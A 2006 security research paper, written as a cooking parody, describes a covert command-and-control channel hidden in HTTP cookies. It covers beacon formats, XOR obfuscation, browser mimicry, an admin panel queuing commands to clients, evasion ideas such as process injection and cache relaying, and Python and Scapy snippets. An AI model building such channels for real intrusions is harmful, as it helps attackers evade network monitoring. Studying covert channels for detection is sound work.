================================================================================ How to cook a covert channel v1.0 - April 2006 Gray World Team http://www.gray-world.net ================================================================================ ================================================================================ This paper was originally released in the Hakin9 magazine issue 04/06 (Windows Rootkits) : Check their website at http://hakin9.org ================================================================================ ================================================================================ Copyright (c) 2006, Gray World Team . Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. You should have received a copy of the license with this document and it should be present in the fdl.txt file. If you did not receive this file or if you don't think this fdl.txt license is correct, have a look at the official http://www.fsf.org/licenses/fdl.txt licence file. ================================================================================ ======= SUMMARY ======= INTRODUCTION 1. RECETTE 1.1 The cookie theory 1.2 Thinking about the recette 1.3 Our beta recette 1.4 Telling about the recette to friends 2. FAST FOOD COOKING 2.1 The server 2.2 The client 2.3 How does it looks like 2.4 hazard game 3. PRIATNOVO APETITA 3.1 Location of cookies 3.2 Second level caching WEBOGRAPHY THANKS ANNEX Annex 1 : I am up python example Annex 2 : Xoring cookie python example Annex 3 : Hungry ? ([SCAPY] required) ================================================================================ ============ INTRODUCTION ============ Before starting to cook your covert channel, you first have to think about the recette : decide *how* your covert channel will look like, *what* it will be used for (antipasti or dessert ?) and finally *when* you'll have your dinner. Today's menu focuses on HTTP cookies so let's review the recette and start to cook. ================================================================================ ========== 1. RECETTE ========== We all know about HTTP and cookies. If you ever bought something on the Internet (or last time someone did it for you ;)), you probably used cookies to maintain a logical session with the remote server. So, how would it be possible to use these cookies entities as a stealth communication channel ? 1.1 The cookie theory --------------------- Let's review the [RFC_2109] document which describes various interesting points regarding the logical sessions creation : //--------------------------------------------------------------------------\\ 1 "[...] designers' paradigm for sessions created by the exchange of cookies these key attributes: 1. Each session has a beginning and an end. 2. Each session is relatively short-lived. 3. Either the user agent or the origin server may terminate a session." 2 "To initiate a session, the origin server returns an extra response header to the client, Set-Cookie. [...] A user agent returns a Cookie request header [...] to the origin server if it chooses to continue a session. The origin server may ignore it or use it to determine the current state of the session. It may send back to the client a Set-Cookie response header with the same or different information, or it may send no Set-Cookie header at all." 3 "Servers may return a Set-Cookie response headers with any response. User agents should send Cookie request headers, subject to other rules detailed below, with every request. An origin server may include multiple Set-Cookie headers in a response." 4 "Set-Cookie Syntax : [...] cookie = NAME "=" VALUE *(";" cookie-av) [...] NAME=VALUE Required. The name of the state information ("cookie") is NAME , and its value is VALUE. [...] The VALUE is opaque to the user agent and may be anything the origin server chooses to send, possibly in a server-selected printable ASCII encoding. "Opaque" implies that the content is of interest and relevance only to the origin server. The content may, in fact, be readable by anyone that examines the Set-Cookie header." 5 "An origin server must be cognizant of the effect of possible caching of both the returned resource and the Set-Cookie header. [...] If the cookie is intended for use by a single user, the Set-cookie header should not be cached. A Set-cookie header that is intended to be shared by multiple users may be cached." \\--------------------------------------------------------------------------// We understand that the session may be terminated by the server (we'll thereafter use 'server' to speak about the HTTP server and use 'client' to speak about the HTTP client) or by the client and that sessions should not last too long. (1) We notice that a client "should" send cookie(s) with every request to the server and that the server may send a cookie to a client even if the client didn't ask for it. (2) and (3) We also notice that the cookie value is "opaque" to the client and thus is also "opaque" for an host willing to monitor the sessions. (4) Finally, we suppose that it is not something suspicious to ask caching services not to cache the cookies sent by client and server if the cookie is intended for use by a single user. (5) Note : Of course, reading (5) the other way means we may have an opportunity to use these caching services as a second-level relay to store and forward data to multiple clients with or without server. We already know this is possible for any HTTP entity but maybe will it be possible for the cookies too. 1.2 Thinking about the recette ------------------------------ "A covert channel is a communication channel that is not designed and/nor intended to exist and that can be used to transfer information in a manner that violates the existing security policy. [...] Various parameters exist to characterize covert channels : Noise, Bandwidth/Capacity, Synchronization and Aggregation [...], Latency and Stealthiness" [CC] The recette of the day will focus on preparing, step by step, a 'new' control communication channel (Refer to [CC] for the difference between control and data communication channels) which will be as stealth as possible. As we cook a stealth communication channel, we consider that bandwidth/capacity and latency parameters are not key factors. We cook a communication channel over the HTTP protocol. It means that the HTTP server needs an HTTP client contact before being able to send any data. As we focus on a control communication channel, we also have to restrict the amount of data and the emission frequency parameters the HTTP client uses to send and receive data from the HTTP server. We won't discuss the active warden problem as it would involve him to alter and keep track of any cookie he detects (not a so good idea to change only parts of the cookie...) and finally we will suppose that everything but our cookies are seen as standard to a potential detection system (Network layers factors and HTTP protocol behavior). 1.3 Our beta recette -------------------- The information container model the HTTP client and the HTTP server will use is as simple as : ------------------------------------------------------------- Checksum : default size 2 bytes Command : default size 1 byte => is a request or a response Info : request or response parameters Padding : default size until 20 bytes ------------------------------------------------------------- Checksum is a standard computed checksum over the Command and Info parameters. Command indicates if the cookie contains a request or a response. Padding is something optional which allow to change the cookie size. Let's look at what kind of cookie we may have with a basic client command that will tell to the server : I am up, here is my local IP address, my starting time and my contact delay : ------------------------------------------------------------------------------ 01 : I am up (4+4+2 bytes) : IP address, start time , contact delay \x7E\x58 : Checksum \x01 : Command 01 \x01\x02\x03\x04 : IP : 1.2.3.4 \x07\x5B\xCD\x15 : start time : 123456789 \x00\x0A : contact period : 10 seconds \x42[*7] : 7 bytes of padding ------------------------------------------------------------------------------ will give a cookie: '7e580101020304075bcd15000a42424242424242' [Refer to Annex 1] Now that we have a cookie, it would be a good idea not to send it in cleartext. If we can have enough 'random' bytes we can use to xor the cookie, we may get something a little bit less suspicious. So let's suppose we have a static key and x 'random' bytes known by client and server, we then can use a digest function to get enough "pseudo-random" bytes to xor our cookie before sending it to the server. ------------------------------------------------------------------------------ TOXOR=prepare_xor(len(CHECKSUM+CMDINFO+PADDING)) XOR=strxor(CHECKSUM+CMDINFO+PADDING,TOXOR) COOKED=binascii.b2a_hex(XOR) ------------------------------------------------------------------------------ will give a cookie: '582c76b3d761f5741774f9786603e2438853b8b0' [Refer to Annex 2] We now may use cookies to send and receive data and we have a way to alter them so that they look "obscure" and "random". Let's focus on some command types it would be interesting to implement : Client commands : ------------------------------------------------------------------------------ 01 : I am up (4+4+2 bytes) : IP address, start time , contact delay ------------------------------------------------------------------------------ Server commands : ------------------------------------------------------------------------------ Requests : 01 : Change contact period (2 bytes) : set a new 'contact period' 02 : New rbytes (Max is Size-3 bytes) : add new 'len' + 'random bytes' 03 : Change cookie size and padding activation (3 bytes) : 'size' 'enable' (we can change the cookie size and enable or disable the padding) ------------------------------------------------------------------------------ With these commands, we basically can manage our control communication channel so that it stays online as long as we need but we may face another problem: How do we know if a client or a server got the command we sent ? Let's use a command /acknowledge mechanism such as the one described thereafter : Client commands : ------------------------------------------------------------------------------ 01 : I am up (4+4+2 bytes) : IP address, start time , contact delay FE : Same but next contact is changed to match the server 01 command. FD : Same. FC : Same but the new cookie size is used along with the padding activation ------------------------------------------------------------------------------ Server commands : ------------------------------------------------------------------------------ 01 : Change contact period (2 bytes) : set a new 'contact period' 02 : New rbytes (Max is Size-3 bytes) : add new 'len' + 'random bytes' 03 : Change cookie size and padding activation (3 bytes) : 'size' 'enable' (we can change the cookie size and enable or disable the padding) FE : not used, no acknowledgement for a UP client message ------------------------------------------------------------------------------ Main advantage not using an acknowledgement for the client UP message is that the client will be able to send and resend the same cookie without 1. loosing random bytes and 2. as any standard web client is doing. 1.4 Telling about the recette to friends ---------------------------------------- We arbitrary chose to "hex-ify" our cookie but you may choose another algorithm to encode your cookie. Let's start our favorite MS13 browser and watch about our cookies : o Name is usually '-_1-9a-zA-Z' and 1 < x < 24 bytes long. o Domain is 50% fqdn and 50% .fqdn o Path is 90% '/' (is it ?) o Expiration is usually between today's year+1 and 2016 or 2038 (?) o Content looks like ------------------------------------------------------------------------------ Our cookie is : 582c76b3d761f5741774f9786603e2438853b8b0 and without padding : 582c76b3d761f5741774f97866 Other are (one per line) : a%3A0%3A%6A%7E RD4hwMCoACkAAHlIYdM B=cgqeo1l23r2a8&b=3&s=qi 67.161.52.178.1150515143441505 RMID=3ea03bc3443e21f0; RMFL=022FTyfuU1026D s_vi=[CS]v1|443E1E3D00002C59-A290C75000006B0[CE] 210647688.476418719.1144933410.1144933410.1144933410.1 id=ip.ip.ip.ip-1734349632.2977633:lv=116733416527:ss=114213316627 ID=ad309d77f7453199:TM=1140474596:LM=1141314596:S=OcpTXoHx5MTCUQFl 37692917347247624 bb=41K"KAKt_4KKQtotrKKA1|K"KAKt_4UURtotrKKA1| adv= MC1=V=3&GUID=2b5039af05c385919ecb1181f92bcaa; s_cc=true; s_sq=%5B%5BB%5D%5D; \ MUID=A259C327D12B8C528ADD1787F3ED94&TUID=1 pdomid=11; TestIfCookieP=ok; TestIfCookie=ok; ASPSESSIONIDSCQSQDTB=KMHHNNICFL\ FPELFKJFMQPMPB; sasarea=91; vs=252=1225845; pbw=%24b%3D11%3B%24c%1242%3B%\ 14o%1D3; pid=8867356354182511254 MUID=0F1BAEAF00C2765C9052128A0702B37A; MC1=V=3&GUID=2b5039af03dce61903b181f92\ beaaa; FlightId=; FlightEligible=False{ expires=Mon, 25-Jan-2010 05:jxYf0\ GMT; FlightGroupId=213; FlightStatus= ------------------------------------------------------------------------------ Cookies are a little bit altered but who knows, you may recognize something :) [Refer to Annex 3] Now, our next step is to study what's our friends behavior when they face a cookie so that we know when and how we can send and receive data. Hereunder are described sessions to famous "masked" websites. Standard session 1 : ------------------------------------------------------------------------------ HTTP GET on A.XXX => Reply with a document location to www.A.XXX with : Set-Cookie: PREF=ID=af4xxab993229877f:TM=1134401:LM=1122401:S=7Ib_Bgu9cf5L; expires=Sun, 23-Jan-2038 19:14:07 GMT; path=/; domain=.A.YYY HTTP GET on www.A.XXX => Reply with : Set-Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe Some HTTP GET on www.A.XXX having : Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe Now we close the browser, wait a few seconds and do it again. HTTP GET on A.XXX having : Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe => Reply with a document location to www.A.XXX without Set-Cookie HTTP GET on www.A.XXX having : Cookie: PREF=ID=ef6ed1bdb2a7b217:TM=11821401:LM=1221401:S=-MwFEtY3L1_Xe etc... ------------------------------------------------------------------------------ We conclude that our cooked client can send cookies to the server even if the server didn't send a Set-Cookie (until 2038 ?) because the server may have send this cookie 32 years ago ? Standard session 2 : ------------------------------------------------------------------------------ HTTP GET on B.XXX => Reply with a document location to www.B.XXX Set-Cookie: ASPSESSIONIDATRSCS=HAEBGHTVCSXZFJLLLDIAJJMN; path=/ HTTP GET on www.B.XXX without cookie ------------------------------------------------------------------------------ We conclude that we have few (only :)) practical (not only theoretically written in the rfc) solutions for the server to send a cookie so that the client doesn't have to reply with that cookie : o we Set-Cookie with a domain different from the one in HTTP URI (session 1) o we Set-Cookie without giving the domain (session 2) It seems that our beta recette looks quiet interesting, let's start cooking. ================================================================================ ==================== 2. FAST FOOD COOKING ==================== Now that we know approximately what we'll cook, we need to choose what kind of Bryan (who always is in the kitchen as we all know) will help us to cook some fast food for our (probable) future new friends. We chose to use a [PYTHON] Bryan so that you and your "friends" can taste that meal no matter if you have a Win32 or a *Nix kitchen. However, if you read this recette, you probably want to taste another meal that would be cooked in a [Win32 C/C++] kitchen and that no one has heard before because it's always better not to tell anyone when you prepare a surprise ;) So, our meal is built upon 2 ingredients : the client part which is a standalone python application and the server part which is a CGI script you have to upload on a webserver. 2.1 The client -------------- The client connects to the web server and sends a GET request along with a cookie embedding the 'I am up' command. If the server response includes a cookie the client decodes the cookie and sends back the related acknowledgement. If the server doesn't reply to a client cookie, the client sleeps for x seconds. As the server may answer with multiple cookies in a single response, the client parses all the cookies commands before sending the related acknowledgement (so that server and client keep synchronization for random bytes). The client sends its HTTP request with a MS13 or Firefox behavior: both browsers act the same way at the TCP level for our CGI (TCP HandShake, HTTP GET, HTTP REPLY, TCP FIN HandShake) but do not send the same HTTP headers when they request the remote HTTP server. ------------------------------------------------------------------------------ $ ./cook_cl.py -h cook_cl.py - v0.1 ----------------- Usage: ./cook_cl.py [-h|-V] ./cook_cl.py [-d server] [-p port] [-u url] [-s sec] [-a proxy_ip:proxy_port:user:pass] [-m mimic] [-v] Arguments: -h help -V version -v verbose mode -d remote server ip or fqdn (default '127.0.0.1') -p remote server HTTP port (default '80') -u remote server HTTP url (default '/cgi-bin/cook_cgi') -s sending delay (seconds) (default '10') -a HTTP proxy configuration (ip:port:user:pass) -m Mimic browser ('msie' or 'firefox') (default: 'msie') ------------------------------------------------------------------------------ 2.2 The server -------------- The CGI server provides two services: o It manages client requests : cookie decoding, keeping information about clients and admin commands to send, ... o It implements a basic web interface allowing the admin to display clients information and issue commands. When a client sends a GET request, the CGI checks the cookie and tries to decode it, it updates the client information (stores them in a file) and finally sends the response to the client along with the commands the administrator prepared. When an administrator accesses the web interface, he may display clients information and prepare commands that will be sent to the client during the next contact period. if the administrator stocks more than 1 command to send to the client, each command will become a cookie and all cookies will be sent in a single HTTP response to the client. 2.3 How does it looks like ? ---------------------------- We access the admin interface http://ip:port/cgi-bin/cook_cgi?pass=grayworld ------------------------------------------------------------------------------ | $ ./cook_cgi | How to cook a covert channel - cook_cgi.py - v0.1 | | Bryan says : No clients | | $ _ ------------------------------------------------------------------------------ fig. 1 We run a client on 10.1.1.7 and stop it: ------------------------------------------------------------------------------ | ./cook_cl.py -d ip -v -s 60 | 19:50:17 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ | 2d6852e6aeeb52b56c8fe9b01b16bb5095b27c9a28586498 | ^C ------------------------------------------------------------------------------ fig. 2 We run a second client on 10.1.1.8 and let it running: ------------------------------------------------------------------------------ | ./cook_cl.py -d ip -v -s 180 | 19:51:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ | db0452e6aeeb5db56c8e2fb09316bb5095b27c9a28586498 ------------------------------------------------------------------------------ fig. 3 Let's look at our admin interface and stock 2 commands for the 10.1.1.8 client. We'll stock a New contact period to 5 seconds (line 2) and disable the padding (lines 1 and 3) : ------------------------------------------------------------------------------ | $ ./cook_cgi | How to cook a covert channel - cook_cgi.py - v0.1 | 1 | Bryan says : Stocked size update to 24 with padding to 0 for client 2. | | Bryan says : Welcome in the kitchen, we have 2 client(s) (Wed Apr [...] | o Remove clients quiet for more than 3600 seconds. | o Don't double stock idem command : 1 | o Fake cookie for standard clients : None | o Burn the kitchen | | Clients list : | | #2 - Public IP 10.1.1.8 (last conn. time: Wed Apr 26 19:51:27 2006) | => Local IP 10.1.1.8 (started [...] 19:51:27 2006 / contact:\ | 180 secs) | => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available) /\ | RBYTES_POSI: 16 | => RBYTES: 'Soon her eye fel [...] small c...ookie' | => Cookie size is 24 bytes and padding activation is set to 1 | => Last cookie: \ | 'PREF=db0452e6aeeb5db56c8e2fb09316bb5095b27c9a28586498' / Lost sync: 0 | | What you have ? | New contact period , New rbytes , Change cookie size | Disable / Enable padding, Remove commands | | Stocked commands: | 2 | o '47aa01000542424242424242424242424242424242424242' | 3 | o 'e8ab03001800424242424242424242424242424242424242' | | #1 - Public IP 10.1.1.7 (last conn. time: Wed Apr 26 19:50:17 2006) | => Local IP 10.1.1.7 (started [...] 19:50:17 2006 / contact:\ | 60 secs) | => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available) /\ | RBYTES_POSI: 16 | => RBYTES: 'Soon her eye fel [...] small c...ookie' | => Cookie size is 24 bytes and padding activation is set to 1 | => Last cookie: \ | 'PREF=2d6852e6aeeb52b56c8fe9b01b16bb5095b27c9a28586498' / Lost sync: 0 | | What you have ? | New contact period , New rbytes , Change cookie size | Disable / Enable padding, Remove commands | | Stocked commands: | | $ _ ------------------------------------------------------------------------------ fig. 4 (updated to fit on 80 cols) Our client is connecting back 180 seconds later (line 1) and sends the same cookie as previously. The CGI sends the 2 stocked commands (lines 2 -> 7) : the client updates its contact period to 5 seconds and then disables the padding. Then it sends back to the server the two acknowledgement with two connections (lines 8 and 9). It sleeps for 5 seconds and then contacts the server with a new 'I am up' message (line 10). Then it sleeps again and repeats the 'I am up' each 5 seconds (line 11): ------------------------------------------------------------------------------ 1 | 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ | db0452e6aeeb5db56c8e2fb09316bb5095b27c9a28586498 2 | 19:54:27 - Got 24 bytes cookie (4/16):\ | 'G\xaa\x01\x00\x05BBBBBBBBBBBBBBBBBBB' 3 | 19:54:27 - Command Update contact time 4 | 19:54:27 - Updating contact period to 5 secs 5 | 19:54:27 - Got 24 bytes cookie (6/16):\ | '\xe8\xab\x03\x00\x18\x00BBBBBBBBBBBBBBBBBB' 6 | 19:54:27 - Command Update Size 7 | 19:54:27 - Updating cookie size to 24 (padding activation: 0) 8 | 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (7/7):\ | 22984fcc75fc01b0af217350eb 9 | 19:54:27 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/7):\ | 14a4087e1e5cf3d5724b522fe6 10 | 19:54:32 - Sending cookie to ip:80/cgi-bin/cook_cgi (9/7):\ | 943d58cb1fd5864a98a1a47067 11 | 19:54:38 - Sending cookie to ip:80/cgi-bin/cook_cgi (9/7):\ | 943d58cb1fd5864a98a1a47067 ------------------------------------------------------------------------------ fig. 5 When we check back the admin interface we notice that the client 10.1.1.8 is updated and that stocked commands are not registered anymore : ------------------------------------------------------------------------------ | $ ./cook_cgi | How to cook a covert channel - cook_cgi.py - v0.1 | | Bryan says : Welcome in the kitchen, we have 2 client(s) (Wed Apr [...] | o Remove clients quiet for more than 3600 seconds. | o Don't double stock idem command : 1 | o Fake cookie for standard clients : None | o Burn the kitchen | | Clients list : | | #2 - Public IP 10.1.1.8 (last conn. time: Wed Apr 26 19:54:43 2006) | => Local IP 10.1.1.8 (started [...] 19:51:27 2006 / contact:\ | 5 secs) | => RBYTES_POS: 9 (116:2320/125:2500 bytes:rbytes available) /\ | RBYTES_POSI: 7 | => RBYTES: 'Soon her eye fel [...] small c...ookie' | => Cookie size is 24 bytes and padding activation is set to 0 | => Last cookie: 'PREF=943d58cb1fd5864a98a1a47067' / Lost sync: 0 | | What you have ? | New contact period , New rbytes , Change cookie size | Disable / Enable padding, Remove commands | | Stocked commands: | | #1 - Public IP 10.1.1.7 (last conn. time: Wed Apr 26 19:50:17 2006) | => Local IP 10.1.1.7 (started [...] 19:50:17 2006 / contact:\ | 60 secs) | => RBYTES_POS: 2 (123:2460/125:2500 bytes:rbytes available) /\ | RBYTES_POSI: 16 | => RBYTES: 'Soon her eye fel [...] small c...ookie' | => Cookie size is 24 bytes and padding activation is set to 1 | => Last cookie:\ | 'PREF=2d6852e6aeeb52b56c8fe9b01b16bb5095b27c9a28586498' / Lost sync: 0 | | What you have ? | New contact period , New rbytes , Change cookie size | Disable / Enable padding, Remove commands | | Stocked commands: | | $ _ ------------------------------------------------------------------------------ fig. 6 2.4 hazard game --------------- Each client connecting for the first time to the server uses the same random bytes (line 1, fig. 7 and fig. 8). However, each time you send new random bytes to a client (line 2, fig. 7 and fig. 8 and lines 1/2 fig. 9), they are dedicated to this client only. ------------------------------------------------------------------------------ | # ./cook_cl.py -d ip -s 10 -v | 20:02:59 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ 1 | 96a152e6aeeb52b5726263b02d16bb5095b27c9a28586498 | 20:03:09 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ | 96a152e6aeeb52b5726263b02d16bb5095b27c9a28586498 | 20:03:09 - Got 24 bytes (4/16): '5\x80\x02\x00\x10priatnovoapetitaBBB' | 20:03:09 - Command Update Rbytes 2 | 20:03:09 - Updating rbytes with 'priatnovoapetita' | 20:03:09 - Sending cookie to ip:80/cgi-bin/cook_cgi (6/16):\ | 4df16f06ec172a8b8a1bbca7ed2d154944584b2a5b2a31f0 | 20:03:19 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/16):\ | 7f8db0cc75fc0eb0b1cd3f50e4e3fce0ec63cbaaf742b636 ------------------------------------------------------------------------------ fig. 7 ------------------------------------------------------------------------------ | # ./cook_cl.py -d ip -s 10 -v | 20:07:33 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ 1 | d55d52e6aeeb5db5726577b02d16bb5095b27c9a28586498 | 20:07:43 - Sending cookie to ip:80/cgi-bin/cook_cgi (2/16):\ | d55d52e6aeeb5db5726577b02d16bb5095b27c9a28586498 | 20:07:43 - Got 24 bytes (4/16): 'Q\x08\x02\x00\ndozvidaniaBBBBBBBBB' | 20:07:43 - Command Update Rbytes 2 | 20:07:43 - Updating rbytes with 'dozvidania' | 20:07:43 - Sending cookie to ip:80/cgi-bin/cook_cgi (6/16):\ | 0e0d6f06ec17258b8a1ca8a7ed2d154944584b2a5b2a31f0 | 20:07:53 - Sending cookie to ip:80/cgi-bin/cook_cgi (8/16):\ | 3c71b0cc75fc01b0b1ca2b50e4e3fce0ec63cbaaf742b636 ------------------------------------------------------------------------------ fig. 8 ------------------------------------------------------------------------------ | $ ./cook_cgi | How to cook a covert channel - cook_cgi.py - v0.1 | | [...] | | Clients list : | | #2 - Public IP 10.1.1.8 (last conn. time: Thu Apr 27 20:07:53 2006) | => Local IP 10.1.1.8 (started [...] 20:07:03 2006 / contact:\ | 10 secs) | => RBYTES_POS: 8 (127:2540/135:2700 bytes:rbytes available) /\ | RBYTES_POSI: 16 1 | => RBYTES: 'Soon her eye fel [...] .ookiedozvidania' | | [...] | | #1 - Public IP 10.1.1.7 (last conn. time: Thu Apr 27 20:03:19 2006) | => Local IP 10.1.1.7 (started [...] 20:02:59 2006 / contact:\ | 10 secs) | => RBYTES_POS: 8 (133:2660/141:2820 bytes:rbytes available) /\ | RBYTES_POSI: 16 2 | => RBYTES: 'Soon her eye fel [...] priatnovoapetita' | | [...] ------------------------------------------------------------------------------ fig. 9 As you may notice on fig. 7 and fig. 8, when client use the same random bytes with padding enabled, the padding part of the cookie is exactly the same. That part will of course be different as soon as the client will be updated with new rbytes, but this behavior may be suspicious. For this reason, padding is disabled by default. To use padding option, the best process would be : o disable padding o set few initialization random bytes for each client o once a client connects for the first time, stock the following commands or send them one after another (multiple HTTP requests/responses) : $ update contact period to short delay $ update cookie size to 'high' value $ add 'high' new random bytes $ update cookie size to standard size and enable padding $ update contact period to standard waiting time You'll thus have client with dedicated random bytes and the initialization cookies will be different as long as two clients don't start with the same local ip address at the same time. ================================================================================ ==================== 3. PRIATNOVO APETITA ==================== For sure, having fast food for lunch isn't so good for health isn't it? Our meal presents various problems : for example, its design implies that every client has to start with the same random bytes (and thus that you "cannot" use padding during initialization). It also means that if one client is 'compromised', then the whole communication for this client will be cleartext. A solution would be to secure delete RBYTES from time to time for every client. Another problem lays on the synchronization. If it is lost for any reason, then the client is lost. A solution would be, for example, to use another cookie (or any HTTP request field) to re-synchronize client : the server sends RBYTES_POS + x to the client and the client has to use it for its next 'I am up' message. If the y next messages are wrong, then it means the client is 'compromised' and soon will the server be investigated too :) Again, another problem lays on the scheme we use to register the clients. As they're registered with the Public IP address, one single client per public IP address is possible. Few solutions to this problem may be implemented, you just have to find them :) And what about the server ? Suppose your server is down, wouldn't it be fun that the client automatically registers on a second one ? The client may thus use RBYTES_POS[x] for x servers. Of course, we also could implement a new command which would be used to ask the client to switch to another server. If you don't want every server to be 'compromised' when a client is, just store 4 xor-ed bytes on the client side and send the 'key' when you want to switch. Another funny idea is that once you've checked that the client can communicate with the outside world you're done isn't it ? ;) so another command would be 'please my dear client, wipe yourself but take care of your environment '. Thus, the 'suggestion du chef' for tomorrow would be to implement a safer RBYTES behavior and to implement some online behavior alteration (so that our client becomes more and more useful once we know it is online). Of course, the 'chef' would like to suggest you to cook with unusual spices so that we get something hot to taste : browser process injection because people often don't like eating python and because piggybacking over legitimate HTTP transactions would be funky - at least if you want strangers to taste your recette :) Priatnovo apetita : http://gray-world.net/projects/cooking_channels/ 3.1 Location of cookies ----------------------- We chose to embeed our Set-Cookie directive in the HTTP header reply. Note that we also may use a META directive such as : ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ This doesn't mean a lot for the current project, but you'll understand the trick in the 3.2 part of the paper :) 3.2 Second level caching ------------------------ As described in '1.1 The cookie theory', it is possible to use caching services as an intermediate level to store and forward data to multiple clients and then stop using remote server. The easiest way to implement this theory (even if more complicated schemes exist - follow the white rabbit ;)) lays on : ---------------------------------------------------------------- 1. Client C1 requests an URI from server S through proxy P 2. Server S replies and response is cached in P 3. Client C2 requests the same URI from server S through proxy P 4. Proxy P replies with the 2. response ---------------------------------------------------------------- Basically, it means that clients C1 and C2 can communicate without having to reach the remote server for each message. It does mean something in the mouse and cat game we may play versus the detection team : it means that the detection engine has to catch traffic between the clients and their first hop-to-target if it is a caching service. So, is it possible to implement that point with our cookies ? Let's look on the Squid FAQ. The FAQ (http://www.squid-cache.org/Doc/FAQ/) states : "Thus, Squid-2 does cache replies with Set-Cookie headers, but it filters out the Set-Cookie header itself for cache hits". Ok. It means that if we decide to use Set-Cookie header directives, we won't be able to cache our cookies. But does Squid filters out the Meta equivalent (refer to '3.1 Location of cookies') ? Check yourself ;) As discussed in '3. PRIATNOVO APETITA', that behavior may be interesting if you decide to ask the client to switch to another server. You only have to send the command once for the first client and then every client going through the same cache service will be answered to switch to the second server. ================================================================================ ====== THANKS ====== TGW ================================================================================ ========== WEBOGRAPHY ========== [RFC_2109] : RFC 2109 - HTTP State Management Mechanism - February 1997 http://gray-world.net/rfc/rfc2109.txt [CC] : Covert channels through the looking glass v1.0 - October 2005 http://gray-world.net/projects/papers/cc.txt [SCAPY] : Scapy - Interactive packet manipulation tool - v1.0.4.3 http://www.secdev.org/projects/scapy/files/scapy.py [PYTHON] : Python http://www.python.org/ ================================================================================ ===== ANNEX ===== Annex 1 : I am up python example -------------------------------- ### Common between server and client import struct,time,binascii from socket import inet_aton,inet_ntoa def checksum(str): return(binascii.crc32(CMDINFO) & 0xffff) SIZE=20 PADBYTE='\x42' cmd=1 ip='1.2.3.4' starttime=123456789 ntime=10 ### Building the cookie CMDINFO=struct.pack("!b4sIH",cmd,inet_aton(ip),int(starttime),ntime) PADDING=PADBYTE*((SIZE-2)-(len(CMDINFO))) # SIZE-2 because of checksum CHECKSUM=struct.pack("!H",checksum(CMDINFO)) COOKED=binascii.b2a_hex(CHECKSUM+CMDINFO+PADDING) ### Retrieving the cookie # ... First check the size to unxor and get something we wantU UNCOOKED=binascii.a2b_hex(COOKED) # ... Get checksum and command (CHECKSUM2,CMD2) = struct.unpack(">"+"2s1s",UNCOOKED[:3]) # ... Check the command, check the parameters size and get them (IP2,TIME2,NTIME2) = struct.unpack(">"+"4s4s2s",UNCOOKED[3:13]) INFO2=IP2+TIME2+NTIME2 PADSIZE=(SIZE-2)-(len(CMD2)+len(INFO2)) PADDING2=struct.unpack(">"+str(PADSIZE)+"s",UNCOOKED[13:SIZE])[0] # Verify checksum VERIFY=struct.pack("!H",checksum(CMD2+INFO2)) Annex 2 : Xoring cookie python example --------------------------------------------------- KEY="123456789" RBYTES="ABCDEF" RBYTES_POS=0 RBYTES_POSI=0 shasize=20 def strxor(x,y): return "".join(map(lambda x,y:chr(ord(x)^ord(y)),x,y)) def prepare_xor(lg) : global RBYTES_POS,RBYTES_POSI if RBYTES_POSI > 0 : toxor=sha(KEY+RBYTES[:RBYTES_POS]).digest()[20-RBYTES_POSI:] # 20 is sha size RBYTES_POSI=0 RBYTES_POS += 1 if RBYTES_POS > len(RBYTES)-1 : return "" toxor=sha(KEY+RBYTES[:RBYTES_POS]).digest() while lg > len(toxor) : RBYTES_POS += 1 if RBYTES_POS > len(RBYTES)-1 : return "" toxor = toxor + sha(KEY+RBYTES[:RBYTES_POS]).digest() RBYTES_POSI = len(toxor)-lg return toxor[:len(toxor)-RBYTES_POSI] # Call this function with the number of bytes you want and check the return # value. If it is null, then there is no more bytes we can use TOXOR = prepare_xor(20) # Call this function to (un)xor your cookie (after)before hexifying it XOR=strxor(COOKIE,TOXOR) Annex 3 : Hungry ? ([SCAPY] required) ------------------------------------- #!/usr/bin/env python # # How to cook a covert channel - v1.0 - http://gray-world.net # Copyright (c) 2006, Gray World Team # # ./get_cook.py cookie1.cap > cookie1.txt # import sys, time, struct, binascii from scapy import * def get_cookie(p): set="Set-Cookie: " cook="Cookie: " res=None ok=0 if TCP in p and p[TCP].haslayer(Raw): http=p[TCP].load for line in http.splitlines(): if line.find(set) == 0 or line.find(cook) == 0: ok=1 if line.find(set) == 0 or line.find(cook) == 0\ or line.find("Host: ") == 0 or line.find("Location: ") == 0\ or line.find("GET ") == 0 or line.find("POST ") == 0\ or line.find("HTTP/1") == 0: if res == None: res = line else: res = res+"\n "+line if not res == None: res = p.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%")+"\n "+res if ok == 0: return None return res def has_been_cooked(): sys.stderr.write("Looking for cookies in "+FILE+" :\n") c=i=0 try: list=PcapReader(FILE) except: print "Cannot PcapRead "+FILE sys.exit(0) p=list.read_packet() while p != None: p=list.read_packet() if p != None: cook=get_cookie(p) if cook: print cook i=i+1 c=c+1 sys.stderr.write("\r"+str(c)+" packets : Found "+str(i)+" cookies... ") sys.stderr.write(" Done\n") def is_beeing_cooked(): sys.stderr.write("Smelling cookies...\n") sniff(filter="tcp and ( port 80 or port 8080 )",prn=lambda x: get_cookie(x)) ### Main if len(sys.argv) == 1: print sys.argv[0]+" [capture.cap || sniff]" sys.exit(0) else: if sys.argv[1] == "sniff": is_beeing_cooked() else: FILE=sys.argv[1] has_been_cooked()